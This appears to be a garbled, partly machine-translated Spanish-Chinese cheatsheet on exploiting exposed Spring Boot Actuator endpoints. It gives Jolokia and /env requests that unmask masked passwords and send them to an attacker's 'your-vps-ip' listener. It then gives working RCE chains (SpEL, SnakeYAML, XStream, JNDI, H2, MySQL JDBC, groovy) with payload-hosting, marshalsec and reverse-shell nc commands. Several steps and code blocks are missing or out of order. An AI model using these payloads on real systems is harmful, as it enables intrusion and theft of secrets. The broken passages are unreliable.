0: Rutas y versiones

0x01: Conocimiento de rutas

• Algunos programadores personalizan /manage, /management o nombres relacionados con la aplicación del proyecto como ruta raíz de Spring
• Spring Boot Actuator versión 1.x tiene la ruta inicial de las rutas integradas por defecto como /, mientras que la versión 2.x unifica /actuator como ruta inicial
• Los nombres de las rutas integradas por defecto de Spring Boot Actuator, como /env, a veces también son modificados por los programadores, por ejemplo, cambiándolo a /appenv

0x02: Conocimiento de versiones

Spring Cloud se basa en Spring Boot para construir servicios y proporciona una colección ordenada de marcos que ayudan a desarrollar rápidamente sistemas distribuidos, ofreciendo funciones comunes como gestión de configuración, registro y descubrimiento de servicios, enrutamiento inteligente, etc.

Dependencias mutuas entre versiones de componentes:

Relación de dependencia entre Spring Cloud y Spring Boot:

Sufijos y significados de los números de versión menor de Spring Cloud:

1: Fuga de información

0x01: Fuga de direcciones de rutas y detalles de invocación de interfaces

Los desarrolladores no son conscientes de que la fuga de direcciones puede provocar riesgos de seguridad, o al cambiar del entorno de desarrollo al entorno de producción en línea, el personal relevante no modifica el archivo de configuración, olvidando cambiar la configuración del entorno, etc.

Acceder directamente a las siguientes dos rutas relacionadas con swagger para verificar si la vulnerabilidad existe:``` /v2/api-docs /swagger-ui.html

Además, las siguientes rutas relacionadas con spring boot actuator a veces también contienen (o permiten inferir) información de direcciones de interfaz, pero no es posible obtener información relacionada con los parámetros:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

其中对寻找漏洞比较重要接口的有：

• /env、/actuator/env

  GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；

  同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

• /refresh、/actuator/refresh

  POST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

• /restart、/actuator/restart

  暴露出此接口的情况较少；可以配合 POST请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

• /jolokia、/actuator/jolokia

  可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

• /trace、/actuator/httptrace

  一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。

0x03：获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件：

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）

利用方法：

步骤一： 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口，搜索 ****** 关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二： jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名，直接发包；明文值结果包含在 response 数据包中的 value 键中。

• 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• Llamar a otros Mbeans

La situación específica del objetivo y los Mbeans existentes pueden ser diferentes. Se pueden buscar palabras clave como getProperty para encontrar métodos invocables.

0x04: Obtener el texto plano de contraseñas enmascaradas con asteriscos (Método 2)

Condiciones de explotación:

• Se puede realizar una solicitud GET a la ruta /env del sitio objetivo
• Se puede realizar una solicitud POST a la ruta /env del sitio objetivo
• Se puede realizar una solicitud POST a la ruta /refresh del sitio objetivo para actualizar la configuración (dependencia spring-boot-starter-actuator presente)
• El objetivo utiliza la dependencia spring-cloud-starter-netflix-eureka-client
• El objetivo puede realizar solicitudes al servidor del atacante (las solicitudes pueden salir a la red externa)

Método de explotación:

Paso 1: Encontrar el nombre de la propiedad deseada

Realice una solicitud GET a la ruta /env o /actuator/env del sitio objetivo, busque la palabra clave ****** y encuentre el nombre de la propiedad correspondiente al valor oculto por asteriscos (*) que desea obtener.

Paso 2: Usar nc para escuchar solicitudes HTTP

En su servidor de red externa controlado, escuche en el puerto 80:```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

Decodificando la parte dmFsdWU6MTIzNDU2 con base64, se obtiene un valor de texto plano similar a value:123456, donde 123456 es el valor de atributo en texto plano antes de ser ofuscado por el asterisco *.

0x05: Obtener el texto plano de la contraseña ofuscada con asteriscos (Método 3)

Condiciones de uso:

• Establecer una propiedad mediante POST /env para desencadenar que el objetivo realice una solicitud http arbitraria a una dirección externa especificada.
• El objetivo puede solicitar al servidor del atacante (la solicitud puede salir a la red externa).

Método de uso:

Consulte issue-1 planteado por UUUUnotfound. Durante el proceso de solicitud http externa del objetivo, se pueden usar marcadores de posición en la ruta url para extraer datos.

Paso 1: Encontrar el nombre del atributo deseado

Solicite los endpoints /env o /actuator/env del sitio web objetivo mediante GET, busque la palabra clave ****** y encuentre el nombre del atributo correspondiente al valor del atributo ofuscado por asteriscos * que se desea obtener.

Paso 2: Usar nc para escuchar la solicitud HTTP

En el servidor externo bajo su control, escuche el puerto 80:```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

辅助用 "password" 等关键词快速过滤分析，获得密码等相关敏感信息的明文。

2: Ejecución remota de código

Dado que las vulnerabilidades relacionadas con Spring Boot pueden ser causadas por una combinación de vulnerabilidades de múltiples componentes, algunos nombres de vulnerabilidades no son muy formales, pero se basan en la capacidad de distinguirlos.

0x01: Whitelabel error page SpEL RCE

Condiciones de explotación:

• Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
• Al menos conocer una interfaz y nombre de parámetro que desencadene la página de error predeterminada de Spring Boot.

Método de explotación:

Paso 1: Encontrar un lugar donde se pasen parámetros normales

Por ejemplo, si se descubre que al acceder a /article?id=xxx, la página muestra un error con código de estado 500: Whitelabel Error Page, entonces los payloads posteriores se probarán en el parámetro id.

Paso 2: Ejecutar expresión SpEL

Si se ingresa /article?id=${7*7} y se descubre que la página de error calcula el valor 49 de 7*7 y lo muestra, entonces básicamente se puede confirmar que el objetivo tiene una vulnerabilidad de inyección de expresión SpEL.

Convertir el formato de cadena a la forma de bytes Java 0x** para facilitar la ejecución de código arbitrario:```python

coding: utf-8

result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

Principio de la vulnerabilidad:

1. Cuando Spring Boot maneja incorrectamente los valores de los parámetros, el flujo ingresa a la clase org.springframework.util.PropertyPlaceholderHelper
2. En ese momento, los valores de los parámetros en la URL se analizan recursivamente mediante el método parseStringValue
3. El contenido rodeado por ${} es analizado y ejecutado por el método resolvePlaceholder de la clase org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration como una expresión SpEL, provocando una vulnerabilidad RCE.

Análisis de la vulnerabilidad:

​ SpringBoot SpEL表达式注入漏洞-分析与复现

Entorno de la vulnerabilidad:

repository/springboot-spel-rce

Acceso normal:``` http://127.0.0.1:9091/article?id=66

0x02: spring cloud SnakeYAML RCE

Condiciones de explotación:

• Se puede enviar una solicitud POST a la interfaz /env del sitio objetivo para establecer propiedades.
• Se puede enviar una solicitud POST a la interfaz /refresh del sitio objetivo para actualizar la configuración (existe la dependencia spring-boot-starter-actuator).
• La versión de spring-cloud-starter de la que depende el objetivo es < 1.3.0.RELEASE.
• El objetivo puede solicitar al servidor HTTP del atacante (la solicitud puede salir a la red externa).

Método de explotación:

Paso 1: Alojar archivos yml y jar

En la máquina VPS que controlas, inicia un servidor HTTP simple, utilizando preferiblemente puertos comunes de servicios HTTP (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Coloca un archivo con extensión jar llamado example.jar en el directorio raíz del sitio web, cuyo contenido sea el código a ejecutar. La forma de escribir y compilar el código se refiere a yaml-payload.

Paso 2: Configurar la propiedad spring.cloud.bootstrap.location

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

Paso 3: Refrescar configuración

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Principio de la vulnerabilidad:

1. La propiedad spring.cloud.bootstrap.location se establece en la URL de un archivo yml malicioso externo
2. El refresh hace que la máquina objetivo solicite el archivo yml en el servidor HTTP remoto y obtenga su contenido
3. SnakeYAML, debido a una vulnerabilidad de deserialización, realiza acciones especificadas al analizar el contenido yml malicioso
4. Primero, se activa java.net.URL para descargar el archivo jar malicioso del servidor HTTP remoto
5. Luego, busca e instancia la clase en el archivo jar que implementa la interfaz javax.script.ScriptEngineFactory
6. Al instanciar la clase, se ejecuta código malicioso, causando una vulnerabilidad RCE

Análisis de la vulnerabilidad:

​ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

Entorno de la vulnerabilidad:

repository/springcloud-snakeyaml-rce

Acceso normal:``` http://127.0.0.1:9092/env

Paso tres: configurar la propiedad eureka.client.serviceUrl.defaultZone

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

Paso 4: Refrescar configuración

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Principio de la vulnerabilidad:

1. La propiedad eureka.client.serviceUrl.defaultZone se establece en una URL maliciosa de un servidor eureka externo.
2. refresh desencadena que la máquina objetivo solicite la URL remota, y el servidor eureka falso configurado previamente devuelve un payload malicioso.
3. Las dependencias relevantes de la máquina objetivo analizan el payload, desencadenando la deserialización de XStream, lo que provoca una vulnerabilidad RCE.

Análisis de la vulnerabilidad:

​ Spring Boot Actuator desde acceso no autorizado hasta obtener shell

Entorno de la vulnerabilidad:

repository/springboot-eureka-xstream-rce

Acceso normal:``` http://127.0.0.1:9093/env

Coloca en el directorio raíz un archivo example.xml que termine en xml, con el siguiente contenido:```xml

Luego copie el archivo JNDIObject.class generado al directorio raíz del sitio web en el Paso 2.

Paso 4: Configurar un servicio LDAP malicioso

Descargue marshalsec y use el siguiente comando para configurar el servicio LDAP correspondiente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

Paso seis: Cargar el archivo de configuración de registro desde una URL externa

⚠️ Si el objetivo solicita exitosamente example.xml y marshalsec también recibe la solicitud del objetivo, pero el objetivo no solicita JNDIObject.class, es probable que se deba a que la versión de jdk del entorno objetivo sea demasiado alta, lo que provoca que la explotación de JNDI falle.

Reemplace la IP real de su VPS en la URL para activar la vulnerabilidad:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

0x05: jolokia Realm JNDI RCE

Condiciones de explotación:

• El sitio objetivo dispone de las interfaces /jolokia o /actuator/jolokia
• El objetivo utiliza la dependencia jolokia-core (requisitos de versión aún desconocidos) y existen MBeans relacionados en el entorno
• El objetivo puede realizar solicitudes al servidor del atacante (las solicitudes pueden salir a la red externa)
• La inyección JNDI normal se ve afectada por la versión JDK del objetivo, jdk < 6u141/7u131/8u121 (RMI), pero el entorno relacionado puede eludirlo

Método de explotación:

Paso 1: Ver los MBeans existentes

Acceda a la interfaz /jolokia/list para ver si existen las palabras clave type=MBeanFactory y createJNDIRealm.

Paso 2: Preparar el código Java a ejecutar

Escriba el código de ejemplo Java JNDIObject.java optimizado para obtener una shell reversa.

Paso 3: Alojar el archivo class

En una máquina VPS controlada por usted, inicie un servidor HTTP simple, utilizando preferiblemente puertos de servicio HTTP comunes (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Paso 5: Escuchar el puerto para el shell inverso

Generalmente se usa nc para escuchar un puerto y esperar el shell inverso.```bash nc -lvp 443

0x06: reinicio de la consulta de base de datos h2 RCE

Condiciones de explotación:

• Se puede enviar una solicitud POST al endpoint /env del sitio objetivo para establecer propiedades
• Se puede enviar una solicitud POST al endpoint /restart del sitio objetivo para reiniciar la aplicación
• Existe la dependencia com.h2database.h2 (requisito de versión actualmente desconocido)

Método de explotación:

Paso 1: Establecer la propiedad spring.datasource.hikari.connection-test-query

⚠️ El método 'T5' en el payload a continuación necesita ser renombrado (por ejemplo, T6) cada vez que se ejecuta un comando, para poder ser recreado y utilizado; de lo contrario, la vulnerabilidad no se activará la próxima vez que se reinicie la aplicación con restart.

spring 1.x (ejecución de comandos sin salida visible)``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

Paso 2: Reiniciar la aplicación

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio de la vulnerabilidad:

1. La propiedad spring.datasource.hikari.connection-test-query se establece como una declaración SQL maliciosa CREATE ALIAS que crea una función personalizada.
2. Esta propiedad corresponde a la configuración connectionTestQuery del grupo de conexiones de bases de datos HikariCP, que define la instrucción SQL que se ejecuta antes de establecer una nueva conexión de base de datos.
3. Al reiniciar la aplicación (restart), se establecerán nuevas conexiones de base de datos.
4. Si la función personalizada en la declaración SQL aún no se ha ejecutado, se ejecutará, provocando una vulnerabilidad de RCE.

Análisis de la vulnerabilidad:

remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Entorno de la vulnerabilidad:

repository/springboot-h2-database-rce

Acceso normal:``` http://127.0.0.1:9096/actuator/env

Luego, copie el archivo JNDIObject.class generado al directorio raíz del sitio web del Paso 2.

Paso 3: Alojar el archivo class

En la máquina VPS que controla, inicie un servidor HTTP simple, utilizando preferiblemente puertos de servicio HTTP comunes (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Paso cinco: Escuchar el puerto de la shell inversa

Generalmente se usa nc para escuchar un puerto, esperando la shell inversa.```bash nc -lv 443

Análisis de vulnerabilidad:

​ Spring Boot + Inyección JNDI de base de datos H2

Entorno de vulnerabilidad:

repository/springboot-h2-database-rce

Acceso normal:``` http://127.0.0.1:9096/h2-console

在脚本同目录下生成 payload.ser 反序列化 payload 文件，供脚本使用。

步骤三：设置 spring.datasource.url 属性

⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用，会对业务造成影响，请谨慎操作！

mysql-connector-java 5.x 版本设置属性值为：``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

Paso 4: Refrescar configuración

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Paso 5: Desencadenar la consulta a la base de datos

Intente acceder a la interfaz de consulta a la base de datos conocida del sitio web, por ejemplo: /product/list, o busque otras formas de activar de forma proactiva la consulta a la base de datos del sitio de origen. Entonces se activará la vulnerabilidad.

Paso 6: Restaurar la URL JDBC normal

Una vez finalizada la explotación de la vulnerabilidad de deserialización, use el método del Paso 3 para restaurar el valor value original de spring.datasource.url registrado en el Paso 1.

Principio de la vulnerabilidad:

1. La propiedad spring.datasource.url se establece en una dirección URL JDBC de MySQL maliciosa externa.
2. Después de la actualización (refresh), se asigna un nuevo valor a la propiedad spring.datasource.url.
3. Cuando el sitio web realiza operaciones como consultas a la base de datos, intenta usar la URL JDBC de MySQL maliciosa para establecer una nueva conexión.
4. Entonces, el servidor MySQL malicioso enviará datos de carga útil de deserialización en la etapa adecuada del establecimiento de la conexión.
5. La dependencia mysql-connector-java del objetivo deserializará el gadget configurado, causando una vulnerabilidad RCE.

Análisis de la vulnerabilidad:

​ New-Exploit-Technique-In-Java-Deserialization-Attack

Entorno de la vulnerabilidad:

Es necesario configurar spring.datasource.url, spring.datasource.username y spring.datasource.password en application.properties para garantizar la conexión normal a la base de datos MySQL; de lo contrario, el programa reportará un error y saldrá al iniciarse.

repository/springboot-mysql-jdbc-rce

Acceso normal:``` http://127.0.0.1:9097/actuator/env

0x09：restart logging.config logback JNDI RCE

Condiciones de explotación:

• Puede enviar una solicitud POST a la interfaz /env del sitio web objetivo para establecer propiedades
• Puede enviar una solicitud POST a la interfaz /restart del sitio web objetivo para reiniciar la aplicación
• La inyección JNDI normal se ve afectada por la versión JDK del objetivo, jdk < 6u201/7u191/8u182/11.0.1(LDAP), pero el entorno relevante se puede eludir
• ⚠️ El objetivo puede realizar solicitudes al servidor HTTP del atacante (las solicitudes pueden salir a la red externa); de lo contrario, el reinicio provocará que el programa se cierre de manera anómala
• ⚠️ Si el servidor HTTP devuelve un archivo con contenido de sintaxis XML malformado, el programa se cerrará de manera anómala
• ⚠️ El objeto devuelto por el servicio JNDI debe implementar la interfaz javax.naming.spi.ObjectFactory; de lo contrario, el programa se cerrará de manera anómala

Método de explotación:

Paso 1: Alojar archivo xml

En una máquina VPS controlada por usted, inicie un servidor HTTP simple, utilizando puertos de servicio HTTP comunes (80, 443) siempre que sea posible.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Paso 2: Alojar el servicio LDAP malicioso y el código

Consulte el artículo, modifique JNDIExploit e inícielo (también se pueden usar otros métodos):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0A: Restablecer logging.config groovy RCE

Condiciones de explotación:

• Se puede enviar una solicitud POST al endpoint /env del sitio objetivo para establecer propiedades.
• Se puede enviar una solicitud POST al endpoint /restart del sitio objetivo para reiniciar la aplicación.
• ⚠️ El objetivo debe poder solicitar el servidor HTTP del atacante (la solicitud puede salir a la red externa); de lo contrario, el reinicio provocará una salida anormal del programa.
• ⚠️ Si el servidor HTTP devuelve un archivo con contenido de sintaxis groovy defectuosa, provocará una salida anormal del programa.
• ⚠️ El entorno debe tener la dependencia groovy; de lo contrario, provocará una salida anormal del programa.

Método de explotación:

Paso 1: Alojar un archivo groovy

Iniciar un servidor HTTP simple en una máquina VPS controlada por el atacante, utilizando en lo posible puertos de servicio HTTP comunes (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Paso dos: establecer la propiedad logging.config

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

Paso 3: Reiniciar la aplicación

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio de la vulnerabilidad:

1. La máquina objetivo configura la dirección URL del archivo de configuración del log de logback a través de la propiedad logging.config.
2. Después de reiniciar (restart) la aplicación, el programa solicitará la dirección URL configurada.
3. En la lógica del archivo de código ch.qos.logback.classic.util.ContextInitializer.java del componente logback-classic, se juzgará si la URL termina con groovy.
4. Si la URL termina con groovy, finalmente se ejecutará el código groovy en el contenido del archivo, causando una vulnerabilidad RCE.

Entorno de vulnerabilidad:

repository/springboot-restart-rce

Acceso normal:``` http://127.0.0.1:9098/actuator/env

Coloque en el directorio raíz un archivo example.groovy que termine en groovy, cuyo contenido sea el código groovy que se debe ejecutar, por ejemplo:```xml Runtime.getRuntime().exec("open -a Calculator")

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0C：restart spring.datasource.data h2 database RCE

Condiciones de explotación：

• Puede enviar una solicitud POST al endpoint /env del sitio objetivo para establecer propiedades
• Puede enviar una solicitud POST al endpoint /restart para reiniciar la aplicación
• El entorno debe tener las dependencias h2database, spring-boot-starter-data-jpa
• ⚠️ El objetivo debe poder realizar solicitudes al servidor HTTP del atacante (la solicitud debe poder salir a Internet), de lo contrario, el reinicio provocará una salida anormal del programa
• ⚠️ Si el servidor HTTP devuelve un archivo con contenido de sintaxis SQL de h2 malformado, provocará una salida anormal del programa

Método de explotación：

Paso 1：Alojar el archivo sql

Inicie un servidor HTTP simple en una máquina VPS que controle, utilizando un puerto de servicio HTTP común (80, 443) siempre que sea posible```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Paso 2: Establecer la propiedad spring.datasource.data

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

Paso 3: Reiniciar la aplicación

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio de vulnerabilidad:

1. La máquina objetivo puede establecer la URL del archivo jdbc DML sql mediante la propiedad spring.datasource.data.
2. Después del reinicio de la aplicación, el programa solicitará la URL configurada.
3. En el componente spring-boot-autoconfigure, el archivo org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java usa el método runScripts para ejecutar el código sql de la base de datos h2 contenido en la URL solicitada, lo que provoca una vulnerabilidad RCE.

Entorno de vulnerabilidad:

repository/springboot-restart-rce

Acceso normal:``` http://127.0.0.1:9098/actuator/env